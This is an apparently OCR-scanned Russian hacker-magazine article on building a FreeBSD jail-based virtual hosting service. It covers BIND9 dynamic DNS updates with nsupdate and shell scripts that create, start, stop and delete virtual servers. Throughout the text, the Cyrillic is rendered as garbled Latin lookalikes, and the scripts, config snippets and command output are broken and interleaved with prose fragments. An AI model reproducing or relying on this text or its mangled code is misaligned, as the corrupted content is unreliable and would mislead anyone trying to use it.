K /usr/pons/packages Ka)K,iJ;oro OIcpY}l(emlJl npn nOMOIl\H Ilullis.
·/usr/jailbase/paekages-BepcHll-MOHTHpyeTOl
Y1.D.eH BHpTyMbHhtxOTeJIeH,QaJIeKO He Hona 1-1, no
rnqeCKH 6bUI,nocryTTeHAPyrnM.
eyrn, npe.a:CTa.6JUIeT c06oti: npl1MCp ,,06Jya'iHOH 06
4. AB-roMaTH3HpoB3HHoe C03AaHl1C, y,ll.aJlelffie,
·/usr/jailbase/db-6a3allaHHblxjail-oKlJY)I<e
pa6oTlQ1.aaHHhlx>,~pedia.Qrg/wiki!Clolid
AMH. B nepaOH KOJIOHKe ncpeql1C.IIeHbJ IP-a.a,peca
Bcex oKpy>KeHHi1, BO BTOpo» -6a30BbIH KaTaJIOr (HanpHMep, /usr/jail), BTpeTbei1 -CeTeHOH
Kal<eepBHe. YTOObl opraHH30BaTbCBOH 6H3Hecno
3anyO<H MOHlITOpKHrcepBepoB. 5. OOAAep>KKa pa3Hbrx nepcilll: BHpTYaJlbHbIX FreeBSD-cepBepoo H3 Op;I-lOH $H3lfY.eo<oH MamIDIC. 6. B03MO)l{HDCTb 6blcrporo nepeHoca BHpTyaJTb
ctta'le B apeH,ll,y BMpTyaJIhH hlX FreeBSD-ccpaepon
HOro cepoepa H3 ,a,pyroi'.j ceTeBoH nHTeP4>eHc HJI}l
JUITOH -
OTTe6H nmpe6yeTdi HaJlWlUeN-ro KOllll'iecTBa
LIllO<.
BC€AbMOH -THnaKKayrITa, B BOCbMOi:t- BpeMif
computing), KOI'Aa Heo6xo,lJ.HMOe KJIHemy npol'paMMHoe 06ecne'ieHHe npeAoCTaBJIReTC1I
6errhIX IP-aApecoB (no (lAHofltyHa K~hlH BHpTY aJIhHhlH
cepeep),.AOMeH, 3at<penJIeHHWH 3a O,D,HHM
HATeP/l>eik, B l.JeTBepTOH - .ll0MeHHoem.'l1I, B
nepcIDI, H meCToH -e-mail BJIa,D,eJIbI.\a,
7. f;.Ke.n;HeBHbIH OOKafI Bl1pTYaJIbHbIX eepBepoB.
HCTe'!eHWI CTpOKa apeH,l(bI B cPoPMaTe rrMM,lI.lll.{
8.)l,ocryn no ssh cayreJm1$HKauHeH Ha OCHOBC
YMM,B.l\:eBHToH-cocroH}me.
H3 AUX, a TaIOl<e6a30BOCnOHHMaHHe np8HiVfnoB
KJllO'IeH. Kmo-q reHeplipyerol80 J3pewl. C03,lI.aHlliI.
·/usr/jailbase/defaults-,ne¢>Q..1TOBble3HaQel-OOl
pa60TblFreeBSD.
ImpryaJIbHOT'O cepBepa H OTtlaeraI KJIHeH1Y no Imps.
Aim Pa3JlWlHbIX no.'ICH KOH4>urypau;HoHHOrO ¢afuia.
9. Pa3HhlenmwalillaYHTOu: trial-AAA.llnyxnHeB HOro Hcnbrramm, base-06bI'IHwi1, extra, vip HT.A.
HorpaI'U1'1eHIDIMH AM: Pa3HhlXTHnon aKKaYHTOB:
HEMHoro TEOPI1I1.l1nl1 C"'OPMynI1PYEM TPE60BAHMR nOJlb3YHCh3Hi:lHH$lMH.nO'lepn·
• )usr/jailbase)conf) - K3TaJIOrC HaCTpDWKaMH
Tenepb notJYMaeM 06'·tH$pacrpYKTYPCcepBHca
$aHnb! trial, base, extra, vip, J<OTOpble 6yp;yrnpoI.JH
H)'Tb!MH H3 rrpoUUJOM Moe" craTbH, 0praIDI308aTh
H 0 TOM, KaK peanH30naTb Bec ncpe'U1CJIeHHble
TaHbI CKpHIITOM 3anyCKa BHpTyaJlhHOro cepllepa.
cepBHCHeT3Ky>KH CJ!OlKHO. OKp)')KeHWijaiJ
Tpe60n3Hlffi II OCTaBHTh3al-1eJl Ha6Y,lQ'lllee, TO ecTb
nQAKyII3IQT CBoeH "poCTOTOH tl nerKOCTbKl pa3Bep
06ecne'!HTb a03Mo»arOCTb ,a,06aBJIeHIDI HOBhlX
$aWi db - 6a3a ,naHHbIX wm BCex BRPTYaJU>HbIX cepBepoB B epopMare passwd (noM, pa3J.{e.n:eHHhle
<PYJU<I.tIIH B CJl)"I8e He06xo,nHMOCTH. ITOCJle,ll.OJInIX
t\BoeTO'IHCM). ,ZJ;eBHToe nOlle «COCTORH HC.» npeA
CJl,enaHo! BOT TOJlbKQ ,1l0JJ.roTaKOH cepBHC He rrpoTIl
pa3MbIlllileHHHH npHwC1I K BapHaHTY, KOTOPbJH He
Ha31-1aQeHO,lVUl. ynpomeHIDI3AMI1HHCTpHpOBaHHll
HeT. AnMHHHCTpaTOpbl Ha~n-iyrfVJeBaTh B MOHI1TOP
TOJlbKO HarmJJ.l:eH Hnpocr, HO H.AocraTO<lHOJlCroKB
cepBcpoB H MO)KeT rrpHHlfMaTb ClICtJ.YlOIl\He 3Ha'!e
H3 BTopoi1 tJ;eHb pa6oThJ, KJIHeH'fbl 33BaMlT /Kana
peaJ!113aJ..U111:
HWI: none-He CytUCCTByeT, disabled -
6aMI1 0 HH3KOH npmt300,n:H'renbHOCTH, a cepnep
I. Co6HpaeM FreeBSD-oKp)'>KeHHc B KaTaJIor
OTKJIIO'leH> ok - oKp)0KeHHe coo.n;aHO 11 rOTOBO
TblBalHUl: HeCKOJIbKO CKpHTTTOB-06ID130K -
~128
H )'.IelID
BpeMeHHO
XAKEP 05/125/ 09
!
K3anycK)' (rull1 y>Ke pa601'aer). B Cl3emeYCTa r--I-_--'-HOBlleHHOH
c",creMe, nOKa eme He cymeCTByeT
TenepI, OCBo60.n;HM TO'IKH MOHTHpoBaHH.Il:AHcr epafuIoa H naKeTOD OTJlHlllHero Mycopa:
ali pTyaJl1>HblX cepaepoa, 3TOT epafuI HCnOJlIDICT
,AM 06HOBJleHHJ:l30H. n03TOMY CKOnl1pyeM
poJIb 6a3bl.n;ocryr1HhlX IP-atWecOB, Kor.n;aK<UK.lI;illI
# rm -Rr $JAIL/usr/ports/distfiles
CTpoKa He CQlI,epiKI-lT .n;pyrHXnOJleH, KpaMe nepBoro
$JAIL/usr/ports/packages
H.lleBJlToro (npHMep: 192.168.0.1---none). CKplirIT,
# mkdir $Ji\IL/usr/ports/dist.files
C03.ll3JOlUHH HOBhlH cepBep, npaCTo HaxO,lI;HT
$JAIL/usr/ports/packages
HX
1I Cp Knsupdate.
1<
!usr!jailbase/
Da30BoeOKp)0KeHHerOTO£0! KOHepHrypauI1OH.HblH.
3a.rw.weM BHero:
BHA: 192.168.0.1 :/usr/jail:edO:jail.host.com:7.1
ep3iln 6y.n;eT OTJIwr3ThCl,lVlJ1 K8)K,l1;oro OKpy»:eHH}[,
RELEASE:vasya@maH.ru:trial:0903031700:ok).
nO.3lToMy3a60Tyo ero C03,ll.3HI1H MbI B03J10IKl1M
B,AaJlhUeHWeM CKpHITT 3anyCKa B.HptY<l.>1bHbTX
Ha WIeQI1 cKpl10Ta addvserver. Ooi1AeM AaJJ:bWe H
# vim letc/namedb/named.conf / / r10:)Bom111 ynpaBml,Th C'<lpBepOM
cepaepoa HaiitleT3anliCbCCOCTO}lHHeM ok, rre
tJ;o6aBHM KaTaJIOrn /usr /ja ilbase/ distfiles~BepOUl:
KO c.:
pei1.Aer B KaTaJlOr, nporrHcaHHhlH BO BTOpoM nOJle,
1'1 /usr /jailbase/packages·Bepcl15l, KOTophle 6y,ayr
controls {
uaHtJ.eT KaTallor H)l)KHoro OKpj?KeHWI no IP-a.n;pecy
IlQ!UUllOQaTbCR K OKpJ?KeHWI.M CnOMOD.J;bIO nullfs:
inet 127.0.0.1 allow { 1ocalhost; } keys ( "NSUPDATE"; };
113anyCntT a HeM BliJYIYdJlhHblH cepBep.
C06MPAEM BCE BMECTE nepao-HanepaoMbI
TOllb
nORClllbHOrr 11"dlnl.1HU
# mkdir /usr/jailbase/
);
{distfiles,packages}-'uname -r'
/ / 06bRBl1M KlllO'-t, 3Ha'-leHI1€ onUI1!-1
.llOJDKHbI C03,llaTh 6a30Boe OKpj?KeHMC B KaTaJIOrC
sr~c.ret 110lFHO )~3.1'j"h It:3
c'rpOKVl 'Key,
/usr/jailbase/FrecBSD-BepcHR.)J.Jm 3Toro nepexo .llHM B lusrlsrc 1'1 BBQllHM C1Ie.DylOUO'JO nOC1le,llona
3aTeM C03A<lAHM q,afuI Ae9om'0Bbrx 3Ha4eHHH
<!>dl7l.TIi;i Knsupdat.€. ,,157+ 36 521. pri vate
AM CKpHrITa C03AaHWI [mpTYaJlbHOro cepaepa
key NSUPDATE {
TeJlbHOCTh KOMaHA:
(addvserver):
algorithmHMAC-MD5.SIG-ALG.REG.INT; secret VFSl+ZldDcPjhDzl+eG3Jw=:;
it JAIL=/usr/jailbase/FreeBSD- 'unaroe -r'
# vim lusr/jailbase/defaults
};
# mkdir -p $JAIL
It nec}!o11ToBblt! CeTeBOI1 I1HTep<peiifc. IIa
/ /
# make world DESTDIP.:SJAlL
Hero 6YllYT eemaTloC.R DHODb C03.QaHHble
JlOJ).lII€ll 3aM€H11"l'b Hd CBOM ,nOI1€H
11 make distribuLion DESTDIR:$JAIL
OKpY)f(eH(.olR.
zone
Q6bJ1BI1M 30Hy ho",t . com, Km."'opyn 'nl
~host.com"
type master;
IF=nfeO BMoeM pacrropIDKeHHll HaxQll,HTCR MaWHHa C
M necPo11ToBbll71 KaTa110r AJlfl B:HpTYaflbllblx
file
FreeBSD 7.1, no3TOMY KaTaJl.or 6a30BorooKp)')Ke·
cepBepoB.
HIDI rroJI)"IHll HMJ'I. «/usr /jailbaselFreeBSD-7.1
JAILDIR=/usr/jail
allow-update { key "NSUPDATE"; }; notify yes;
~host
.com.db";
RELEASE". BOH,lt;eM BOKp}')KeHHe» npoBe,D;CM 00· 308)'10 KOH(imrypal.\~no vlOMeHHoe HM.fI» IP-a.n;pec
¢lopMaT6aJbl,ll,aHHl:>IX BHprya1lbHhlX cepBepoBl'I
! / 06bRBVlM o6paTEyil 30HY, B KOTOPOM
Ha .n;aHHOM .3ITalle He HMelOT 3H3'1eHHSl):
OllHcaJl BhUl..Ie. Qn.le<ryJlHU1b, trrOtrnCTal'l6aJa.n;0JDKH3
.o;OJ1IKeH 6b1Tb npOnJ1CdH cerr.leHT, BbI,IJ,e
BbIl1Ll1,ll,e'IbKaKHa6opJarO.1ceHB1'W!lP :::::::none,
ll€HHhlH ;'lllSl 'i'BOl'l"Y. J3HemllJ1X IP-an,pecoB
# jail $JAILbase.jaill9/. )68.0.1 /binfsh
nOQWIOI13aIDICl1 Ha KIDl<.AbIH,AocryrIHhrH BHeunnrn
zone" 67 .16 .172 _in-addr. arpn"
# Lauch fetc/fstab
IP-atqJ€C.Boopa6oTyno€eJaflO1D-leHiOOB03hM}'rHa
11 newa1iases
ce6l'1 COOTBeTCrBytOlUI1eoq>J1I1TbLTencpb yHac ecIb
#
tzse~up
# echo nameservel' 1.27.0.0.1 > / ctc/resolv.conf
B
KaTaJlOr /usr /jailbase:
OTKpOeM KOHepHr / etc/namedb/named .conhr
nepByro CTpOKYc COCTOJ:lHHeM none H 3anOJllUleT
ee (ror.lla crpoKanpHHMMaer npl1MepHOTaKOI1
Knsupdate. + 157 +36521.priv3te. DHH nOHa~ ,l106J1TCJ1 CKpl-lnTaM addvserver Ii delvserver
type master; file "hosL_com-r€verse.db~;
Bee He06xOtlHMoe,!VIR COJJJ;aHIDIIi MaHHnyJII1poBa
HlliI BHp1YaJlbHblMH cepaepm.m,-ocra.JIOCb TOIlbKO ycTaHOBfJTb H HacrpoHTh DNS-cepBep ua <pH3H'-Iec
allow-update { key " NSuPDATE " ; ); notify yes; };
KOI1 MaurnHe. OH H)')K€H IVl5I npHBR3KH,AOMeHHoro
Mhl
C1:laH.n. rc.conf He TporaCM, OH 6y,lt;eT renepHpo
HMeHHKI<a>K.l\OMY13HpTYaJIbHO~f)'cepsepy.
BaTheR eKpHnTOM addvserver aBTOMaTIl'leCKI1 AJUI KaJKAOrO BHpT)'"fu1hHOro cepoepa. flapOJ1b eynep
6YAeM HCTI0Jlb30BaTb BIND9, rrOCKOnbKY3TO e,!J;HHC
HacrpOHM 30HhI host.com (JImca.JlbHhIe y>I{e cyII1ecrBj'IOT) :
TBeHHblH BMCIDle:r-.lbm DNS-cepBep, n03BOJUDOIU;HH
1l0JIb30Bare.JI.R He YCTaHaHJtHBaeM: AJUI OKp~eH>rn
06HOBJIJITb 30HbI, He ocraHaBJJ.HBillI pa6my AeMOHa.
6y,ll.CT CO~aBaTbCfI napa KJI10'leH, I1l\OCTyn no
n POHAeM Qepe3 npoCThIe ;;:rraJIbl ero HacrpoHKI1:
# vim letc/namedb/host.com.db $TTL 86400
napoJIJO no YMOJl4aHI1lO 3aKpblT. Orpe.n;aKTMpyeM
1. CreHepJipyeM napYKJIIOQeH, KOTophIeHe06xo.n;H
@
/etc/motd 11 BKJllO'IHM ty,lla BCiO He06xo,1J.l1MYK>
Mbl tvUI ayreHTIlepmcaWUr KJIlieHTa, nO)KeJJaBUIero
HH4>oPMaLU1lO 0 nOllb30BaHIiH cepI3WCOM:
06HoBHTb 30HhI:
1 28800 7200 604800 86400 IN NS dns
lN
dns
# vi
/e~c/motd
$ dnssec-keygen -a HNAC-MDS -b 128 -r
IN 172.16.67.1
SOA
@
rool
A
/dev/urandom -n USER NSUPDATE
BblH.D.eM 1'13 OI<pj)KeHH.Il:, Ha6paBexit. CKomlpyeM
,&epeoo nopTOs }{3OO30BOH CHCJ'eMbl BSJAIL/usr: #I cp -a /usr!ports $JAIL/usr XAKEP 05/1251 09
# vim letc/namedb/host.com·reverse.db KOMaH.ll:a 3anHIlleT B TeKYIUMH KaTaJlOr
$TTL 86400
tJ;sa ¢aHJla c HMeHaMH npliMepHo TaKoro
@ IN SOA @ root 1 28800 7200 601800 86400 )
Bli.n;a -
Knsupdate. + 157 +36521.key H
~
129
...-... "
ocal host) -l-)
J 11llilloca IhoSt;)-l-' (0:0)-> jls lID IP Address
;-(0:0)-> cd /usr/jallbase
!- (ji III@localhost)-(jusr/ja1 1base)
Hostmlllle
10 9 8
172.16.67.5 172.16.67.4 172.16.67.3
jailS.hast.com jail4.hon.com
jai 13. host. com
7
172.16.67.2
~a~12.host:.coll
1_(0:0)-> ls -1
otal 12 rwxr-xr-x 17 root wheel 5128 23 Ile;l H:Gt F~so-7 1-RELEASE/ rwxr-xr-x 2 root wheel 5128 5 ~ 14:2> confl -rn-r--r-1 root wheel 1878 5 aI+I :4:0] d> I-rw-r--r-1 root wheel 1998 N E;l n.:» defatJlts rwxr-xr-x 2 root wheel 5128 5 <!liP U:ZS chstt11es-7.1-RELEASE/ rwxr-xr-x 2 root wheel 5128 5 a:;p 1.1::25 PKkages-7.1-RELEASE/ 1- (jim@.localhost)-(jusr/jailbase)
~
BblBOA
jls
Al1R
1
'1
mint
Bl.1pryallbHblX cepsepOB
IN
NS
dns
IN
PTR
dns.host.com.
CrPYKTypa KaTaJlOra lusr/jailbase
.uo5aBIll'ICM
HOBU~:
cepBep D 6.a":"
YKmKH B HMX Bee XOCThl, HMelOll\He CTaTH'IeCKHe HMeHa, H 60JrbllJe 3n-t $ati.lbl
~
MbI 1pOraTb He 6y,aeM, 33 Hac Bee c,nen:alOTCKpHnTbI. 3arrycrHM bind:
UPREQ=SJATLDASE/upreq echo "update add $HOSTNAME 86400 ;._ echo ·send· »
'it letc/rc .d/named start
;,o:~
nsupdate -k SJAILBASE/Kl"'sllpda- '2.
CKPHnTbl
LJ:To6b1 Ham cepBHC COOTseTCTBOBM SeeM TIpe.lI.1>5IBJleHHblM
S~~·
> SUPREQ
SUPREQ ~ .
pri
Vi'ltp
$UPRF.Q
rm - f $UPRF..Q
Tpc60EaHlliIM IT cPYHKl{HOHHjXlBaJI npaalfJlbHO, He06xoMMo HanHcaTb, KaK
II 3dnl1Ci>lSClt?l-1 !'ItiI.fJOPMi1~MIO 06 o;:;:p":,'!:€:·r.~>:
MMHHM)'fIi, BoceMb CKpHTITOS:
sed
B
,n;<'.':iHb:X
6a3Y
·/~$lP.*/sF.#$IP:$JAILDIR:SIF:SHOSTNAME:SOSVER:$EMP.
1. addvserver- C03,l:\aeT BHPTyaJIbHb1l1 cepBep rryreM Ao6aaneHI1R HOBOro
IL: $ACTYPE: $TIME: okll" SDB
0Kpym.emrn, OGHOBJUIeT jusr/jailbase/db, 1l06aBAAeT Ji}')KHYlO 3arnlCh BDNS
mv S{DB}
.ne~...
:>
S{J:3} . ne\·/
$DB
B03BDJuaoal1 IP cepBepa
Ta6JIHl{bI.
~
2. delvserver- y.aaJHleT BHI)TyaJIbHbJA cepBep, npHHUl1n .1leHCTBHJI
echo $IP
o6paTHblH. 3. disablevserver- OTkJJlOQ<1eT nap1Y<111hHblR cepBep, He Y~aJlfVl ere (q,naf
'disabled').
Clq)JtUT Up"HIMaeT WecTb apryi\teHTon (AOM€HHoe HMH BHJITYa.lbHOro cep sepa, BepOUl OC, e-mail BJla.a:eJIbu..a.THnaKKaytrra.BpeMJlHCTe.l.eHIDI cpoKa
4. enablevserver-
BKllfQ'iaeT OTKJlfO'l.CHHblH SHP1Ya."bHblH cepsep (CTasm
apeHll.bl, .paH.n e ny6J1H'-IHbIM I(JJIO'IOM KJll:leHTa) Ii soospamaerIPHOBOro
¢J13r'ok').
cepsepa.
5. startvserver-3anyCKaeTcytJJ;eCTDYlolllJIH BMP1YaJIbHbIH cepBep, CBepIDIcb
CKpl1UT delvserver BblIlonWl.eT o6paTH)'lO rrpOU;et\YPy. CHa'l.aJla OH HaxotQIT
c/usr/jailbase/db.
cepaep n 6a3e db, nponepH:eT, cyrn:eCTByeTJUtcepBep Boo6m;e (craTYC He
6. stopvserver- ocraHaBJlliBaCT cym.eCTsYl0Il.\HH BHP1YaJibHbIH cep13ep.
1l.0JDKeH 6bITb none), a 3aTeM BbrrIOJlWIeT CJIe,l(ylOu.wro nornetJ.oa3Te.11.bHOCTb
7. vservers-cKJlHnT.lJl[fI KaTWlora /usr/local!etc/rc.d, KOTOpblH 3anycl(aeT
tleHCTBHH (nepeMeHHaR STRING -3TO CTpoKa cepsepaH3db):
BHpTyMbHbIC cepaepa BO BpeMR JarpY3KM CHCTeMbl HOCTaHaBJIHBaeT 130
# vim lusr IloeaLfbin/delvserver
apeM!l1ll8T,Zta}'H8.
8. watchvservers-clqlHnT, HcnoJUUleMblH croo, cnetJ;HT 3a COCTO.l'lHHeM 13Hp
#
1)'aJlbHbiX eepaepon wOCTaH<1BJ1HaaeT I1X Bcnyqae He06xoAHMOCTH (HanpH
JAILDIR=' echo $STRING , cut
Mep, npH I1CTe'l.eHUH CpOK<:l apeHAbl).
rffi
Y,n,a]'.I1E-}l
~Rt
cepsep ~d
' :' -f 2'
$JAILDIR/$IP $JAILDIR/${IP} .ipfw
no-xopowet.ty, oepBble weCTb CKpHmOBJI)"lwe 06'be;:J;HHHTb BQAHH, npu
# Vj\{iJl>1eM cepBep 1-13 6Ct3hl f)NS
HI1M3KllltUH aprYMeHTbl add, del, stan 11 stop, HOlVlJ'! coxpaHeHillI npocTOThl
HOSTNAME= 'echo $S'l'RING
H3JlOW;eHIDI OCTaBllM I1X BOT,D,CJlbHbJX ~iillax.
UPREQ=$JAILBASE/upreq
J1'raK. CKpHrIT HOMep O,/J,HH. addvserver (3.lI.ecb w.llanee -TOJIbKO KJUO'leShle
echo 'update delete $HOSTNAM2 A" > $UPREQ
cut -d ' :' -: 4'
I
3JIeMembl CKpHnTOB; nOJIIlble sepcHH Thl Haff,lXeWb Ha npHllaraeMOM K)K)'pHa
echo 'send" »
JlY,/J,HCKe):
nsupdate -k $JAILBASE/Knsupdate.
$UPREQ
* .privale
$UPREQ
rm - f $UPREQ 1# vi m lusrILocal/binlad dvse rye r
II '::lc-r6.H&BnJ1Ba811 ;::J151. cepnepa C']'dl'yC none
iI HaCTpal'lBl.IPM nepfi>ME>p.Hble
NE'i~STRING='echo $STRING
HOSTNAME=$l; OSVF.P.=S2; BMAII,:o$3; ACTYPE"'$·L TIME=S5;
sed
KEY=$6
mv ${DB} .new $DB
~r$IP.
I
sed "/SSTATUS/sHnoneJ!." ,
*/sH$NE'..JSTRIKG#" $DB:> ${OB} .na-",
JAILBASE=/usr/jailbase DB=$JAILBASE/db
CKpHm disablevserver, Ilpe,.o:Ha3Ha'leHHbIH,/J,Jffi BpeMeHHOrO OTKJlIO'leHHfl
1I 'IJ.1TtteH
BlfPTYaJlbHorOCepBepa, oqeHb IlOXQ/K H3 delvserver, CTeM HCKJIIOQeHl1eM,
.n~1>C:lTOabie HaCl'pOMKl1
SJAILBASE/defaults
'ITO OH HC Y,lJ,aJUtCT cepBep, anpoCTO CTaBHT Ha Hero q,J'Iar ",disabled». To eCTb,
HaX(lj.(l1M CBo60,Qliblii IP~a)lpec
nepeMeHHaRNEWSTRINGnpHMeTBM:«NEHSTRING=' echo $STRING
Clqmnr enablevserver- 6paT-6JIHJHeu disablevserver, e,1ViHCTBeHHoe OTJIH
~ KOI!.MpyC~1 QKPY:"l;'Hl1C'..
'IlieKOTOporo-yCTaHODK3 $nara 'ok' BMecTO 'disabled'.
cp -a iI ... Vi
sed
$JAILBASE/E"reeBSD~$OSVEP.$JAILDIR/$IP
C03,n:af>M ~ml hero <}<1Clll l-1HlI\TV1anW:;ldT\I1l~
RCCONE"=$JAILDIR/$IP/etc/rc.con( echo "network_interfaces=\· \." » echo ":::-pcbind_eoable=\ ~NO\'" »
echo "sshd_eniible=\ "YES\"" » "I KOr:Mpy€ t ·j
:Ty5m1'-lHI>i!1 KilO'! B
n
/$STA'I'US/s#lFdisabled#" '''.
ClqmnT starcvserver
,[1,06011 bRO npH:MI1TI1BeH. 0 HHIl.\eT nepe,LtaHHblH eMy
lP-ap;pecB6a3€. npoaepSieTCepBepHa roTOBHOCl'b (cra1Yc 'ok') H3anytKaeT ero. Ha60p npaBHlfHOMep4 (ruleset4) AJUI" KOMaHll,bldevfs C03ll.8H cneU;H
echo "hostname=\' $HOSTNAME\" " > $RCCONF'
~
I
STRING=' grep , : none$' $DB' IP= 'echo $STRING I cut -d . :' -f l'
$RCCONF
aJIbHO,lt,Jlfljail-oKPYiKeHHH H ~ep)KHTCSI Bq>afuIe / elc/defaults/devfs. rules. Y:ro6hl CKpHIlT pa60Tan KOppeK1"HO, 3TOT<pa.'tn Hc06xQ,ll,'HMO nOJlO)l(HTb Blete.
$RCCONF'
$RCCONF
KaTanaI' /root.! .ssh
# vim lusrItoea I/bi nlstartvserver Ii ~'3E1neKaeM AdliHble, HeOOXO,'1,VM"'P. ,':VI? 3anycK,J
mkdir -p $JAILDIR/$IP/root/ .ssh
JAILDIR='echo $STRING I cut -d ':' -f 2'
cat $KEY »
IF='echo SSTRING I cut -d':' -f 3'
130
/root/. ssh/authorized_keys2
XAKEP 05/1251
091
·~
•
,WTliUlhOitF(-r (0:0)-. ps auX .. ,
oot 10lH 0,0 0.1 10171 0,0 0.2 oot lOU) 0,0 0.1 oot -1025'> 0.0 0.1 oot 10ns 0,0 0,2 oot 10)27 0,0 0,1 oat 10l~8 0.0 0,1 oot 10458 0,0 0,2 t 10470 0,0 0,1 DOt 10541 0.0 0,1
00'
t
11)001
001 root root root i.
10613
3184
928
Sn2
12U
H~ ')96
U84 57'>2
Has ??
Is
9%
??
9-14
~~
IS 15
nil
1184 >7'>2
'>44
243S
106~ 0.0 IOH4 0,0 10756 0.0
0,1 0,2 0,1
3134 >75, H12
IOn9 0.0
0,0
488
UH
Is
7~
S.
15 55
?1 ?1
Is
15:16
U
15:l6
p4
0\...
1$:l9
?1
IS
n
I. 5s IS
~ ~44
11
Has
996 H8
15:26 15:26 15:26 15:26
15:26 IS:,6 15:26 15:26 lS:1(, 15:26 15:26 1S:l6 15:26
?? ??
'.196
94<t H3S
0,2 0, I
S. I.
??
)2U
1184 57"
0,0 0.0
~~ ~,
??
B cnl.1CKe npOLteCCOB - nRTb TOJ1bKO 4TO
o 00.01 /U5r/$l>jn/$ysl,,~
000.00 lusr/shin/sshd
000,01 luu/obinlcron -s
o 00,01 o 00,01o 00,01
o 00.00
lu<r;'bin/s~I""" lu,r/<b;n/nhd !usr!,b;n!cron ., !u<r!5b;n/<ysl"9'! _ !usr/oMn/..M !usrlsbin!cron -s !usr!5b;n/sys1oq<1 /",rlsb;n! ..hd !",r/,bln/cron -I /",r/sbfn/oyslog<! /",rlsb1n/5shd lusr/sb1n!cron -I
o 00,00 000.01 000.01 000,00 000,01 000,01 000.00 o 00.01 o 00,00 grep
3any~eHHblX
172.16.67.1 :!usr/jail 172 .16. 67.2 :/usr/jai 1 172 .16. 67.3: /usrjjai' 172 .16.67.4 :!usr/ja; 1 172.16.67.5 :/usr/jai 1 172.16.67. 6:/usr/jai' In .16.67.7 :/usr/jil; 1 172.16.67.8 :/usr/jai' 172 .16.67.9 :/usr/jail 72.16. 67 .10:/usr/·~i
nfeO: Hrver. host. com: 7-:-i-RELEAse:vasya@host.cOII:'l;rial :200903211500:okl nfeO: ssh. host. com: 7 .l-RELEASE :111; xer@host.cOlI:base;200904050122:ok: nfeO: necDO. host. com: 7 .I-RELEASE: nerao@hoS't.C(lfII:t";al:200903052241:ok nhO:lIIdb. host. com: 7 .I-RELEASE: m; i@host.COIlI:base:2oo903211500:ok nfeO:vor. host. com: 7 .1~RELEASE :vor@hos't.com:base:200901011U3:disabled edO: xakep.host . COllI: 7.l-RELEASE: xakep@host.clXII:vip:201005051132:ok edQ: boris .host .com: 7 .I-RELEASE: bor1 s(\lhost. com:base: 200903Z11S00: ok edO: edu. han. com:l.1-RELEASE: i1nna@host.com:extra:200903211S00:ok edO :",1 ra. host: .COII: 7.1-RELEASE:mi ra@.host.cOII:base:200903251631:ok : edO: 055. host. COla: 7. I-RELEASE : fossi-host. cora: ext:ra:200908211022 :ok
nplo1Mep 3an0J1HeHH0I1 6a3bl cepaepoa
cepSepOB
umount SJAILDIR/$IP/usr/ports/packages umount $JAILDlR/$IP/dev U11l0unt $JAILOIH/SIP/proc
"PROVIOE 11 REQUIRE t: KEYWORD
vservers OAEMON c1 eanvar nojail
ifconEig $U' inet -alias STP t.ITo6bI He 3aMOpa"lHBaTb01 CPyqHhIM 3MyCKOM cepnepOB, HaIIHWeMCKpHnT
jetejre.subr
vservers, KOTOpbU1 npOBepReTorrU:H1ovservers_enable B/ete/rc.conf, 3arryCK3
name="vservel's" rcvar= set_rcvar' start_cmd","vservers_start" stop_cmd"'''vservers_stop''
requi recLfil es","/us r /ia1 1base/db"
eT Bee roTOBbre BMPTYaJlhHhle cepBepbl no Bpe~rn 3arpy:llCH DC H ocr8HaBJTHBa eT 60 BpeM1:l waTl'aytIa.
# vim !usr/localletc!rc,d/vservers
CepBepOB VSERVERS",'Cat: jusrjiailbase/db I grep -e ':okS' I cut -d ':' -f l' if [ SVSERVERS '" •. ,. J; then ex; t #
nony~aeM
KnlO'IeBble CTpOlOi 3TOI'O 4>aHn:a:
Cn~COK pa60TOCnoco6H~X
fj
#
n0J1Y''!ae~1
Crrl1:COK pa6oTocnoco6HblX cep!'\epOB
VSERVERS'" 'cat /tlsr/jailbase/db I grep -e ':ok$' I cut-d :' -f l'
:; npou.e~ypa JanycKa cepBepOB vservers_start()
Ir I1pol(e.o.ypa 3anycK/l cepsepoB
(
vservers start ( ) for IP in SVSERVERS; do jusr/local/binjst:artvserver SIP done
for IP in $VSERVERS; do
/usr/local/bin/startvserver SIP
:: npou.eAypa OCTSH08K14 cepBepoa vservers_stopO
done
(
for IP in SVSERVERS; do
fi npoue.rtYpa oC'raHOBKI1 cepaepoa
CKpl.1nT lusr/localletc/rc.d/vservers
vservers_stop ( ) - f 4'
HOSTNAME"" echo $STRING I cut -d OSVE?"" echo $S'I'RING I cut -d it 1anycKaeM jclil-cEpsep
for IP in $VSERVERS; do
-f 5'
/usr/1ocal/binjstopvserver $IP done
ifconfig $IF inet alias $IP mount -t devfs ::lone $JAILDIR/SIP/dev
Bce. PaCCMOTpeHHble CKptInTbl aBTOMaTH3HpYJOT acro rpfl3H)110 pa60T}'.
devfs -m $JAILDIR/$IP/dev ruleset 1
BOT H
mount -t procfs none $JAILDIR/$IP/proc
60Jlbwe He Hj')KHo KOMOI-UmpOBaTb OKp)')Kemle HCITOllHeHIDI, tlo6aBJI>ITb
mount_nullfs $JAILBASE/dislfiles-$OSVER SJAILDIRISIP/usr/ports/distfiles mount_nullfs $JA:LBASE/packages-$OSVER
tlBe KOMaHAbl,- H BHpTyaJlbHblH cepBep C03,1l;aH, 3aJ1YIUeH H nOJIHOCTblO fOTOD
IP-OceB,ll,OHHMbl Ii pe.AaKTHpoBaTb tPaH.rrbl30HlJJ:ocraro'-lHO SblllOJIHHTh Dcero
I( HCrrOJlb30BaHHIO:
$JAILDIR/SIP/usrjports/packages jail SJAILDIR/$IP $HOSTNAME SIP /bin/sh /etc/rc
it IP=' addvserver new .host. com ".l-RELEASE vasya@mai1.ru
base 0906061200 CKpHDT stopvserver rrepe.n: oCTaHOBKOH. npo~cnblBae'rTe)f{e
warl1 H, nnJOCK
/ny6n~YH~w/KnD~/BacH'
# startvservel' $IP
3TOMY, npoBep.R:eT, 3arryrn;eH JlH cepBep CnOMOlltblO KOMaHAbl jls- H H3BJIeKa
eT eroJID (nepaM K01IOHKaBblBO,o;ajls): # vim lusr!locaVbin!stopvserver II npOF.lep.l'leM, 3anYUll.!H nl1
STRING='jls
I
cepaep
DCTaHOBHTb Ii YAMHTh cepsep eJ..Ll,e npo~e:
# stopvserve.r SIP # delvserver SIP
grep $IP'
if [ : • $STRING" ); then echo "CepBep SIP
H~
3cUTill\eu»
exit 3
fi Ii Y31laeM j id cepeepa JID'" 'echo SSTRING I cut -d ' , - f l'
